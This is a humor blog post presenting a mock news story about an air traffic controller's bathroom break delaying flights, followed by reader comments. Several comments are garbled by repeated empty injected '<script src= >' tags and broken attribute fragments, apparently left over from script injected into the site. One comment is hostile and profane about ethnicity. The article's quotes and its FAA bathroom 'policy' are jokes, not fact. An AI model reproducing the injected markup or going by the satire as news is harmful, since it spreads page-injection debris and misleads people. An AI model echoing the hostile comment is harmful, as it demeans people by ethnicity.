Pooping Traffic Controller Causes Delays at Washington Airport
by Kris on 4/12/2007 (10)

In one of the nation's highest stress jobs, sometimes you just have to go!
Washington - Two airliners had to circle for 18 minutes and a plane carrying human lungs for transplant was delayed Friday while an airport's lone traffic controller was taking a dump (pooping). This brings to light the obvious question, how can we go about making bathroom breaks shorter?

"Obviously facility placement makes a big difference," said Doug Church, spokesman for the National Air Traffic Controllers Association. "A close toilet means for a quicker break."

At some airports, such as O'Hare International Airport in Chicago, Illinois, flight controllers have to walk nearly a mile to reach adequate facilities.

Placement of toilet paper, paper towels, and soap also makes a big difference.

"At first glance it seems minor, but when you consider that a poorly designed lavatory could cause a potential pooper to send literally five minutes search for toilet paper, soap, etc, it becomes a big issue," said Church. "In some cases, the design of a lavatory is so bad that the person will seek out a new bathroom or a secluded potted plant."

The Federal Aviation Administration did not take issue with this incident and officials responded that the bathroom break was handled in accordance with their policy of 10 minutes for number 1, 20 minutes for number 2. They also added that travelers were not endangered or unduly inconvenienced.

Passengers on the aircraft were not informed of the reason for the delay, Church said, adding, "They'd probably laugh if they new it was because someone was pooping. Everyone enjoys a good poop."h="0" h0" hei

Where's the cow tipping story? I really, really am looking forward to that. That would be Fark material, if you do it right.

I know... traffic hasn't been good as of late. I'm trying to make it a point to write 2-3 articles a week so there is at least something new hear regularily... I haven't really felt good about my writing in months though, maybe if I write more I'll get back into the groove.go </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>

At least traffic on is growing... I really think that has the potential to be really big and if it does, send us lots of traffic here. The nice thing about EvilScale is that it takes minimul work to maintain and people that view it refresh LOTS of pages making for lots of displays of my ads. sr </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>

Evilscale seems awfully minority-centric and anti-European to me. I don't like the site. I'm sure Al Sharpton would approve, though!"0" styl </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>

You know, it MAY help if you wouldn't overly praise or villanize historical figures in the descriptions. Were are you getting those, the Wiki? Don't use the Wiki. Wiki is too anti-European. Whatever mistakes we Euros made, we still invented the entire modern world, and most of the solutions for our own mistakes as well. If you don't like Euros, get the fuck out, that's my motto, and if you ARE a Euro who bashes other Euros, fuck you too! </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>

Kris.... i thought i'd tell you that, unfortunately, a few of your points are valid there was a time when we, air traffic controllers, were required to advise our supervisor where we were going to be during our break so we'd let him know if it was number 1 or number 2....sometimes we were actually given enough time if we told him it was number 2"0" </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>

What animal is this a picture of?

x Enter the simple name for this animal... i.e., if you see a "north american grizzly bear", just enter "bear".
Surround you text with the following tags to use special formatting:
[B][/B] for Bold text.
[I][/I] for Italic text.
[QUOTE][/QUOTE] for a quote.

For example, in order to write "Smthop rules" in bold, you would enter: [B]Smthop rules[/B].
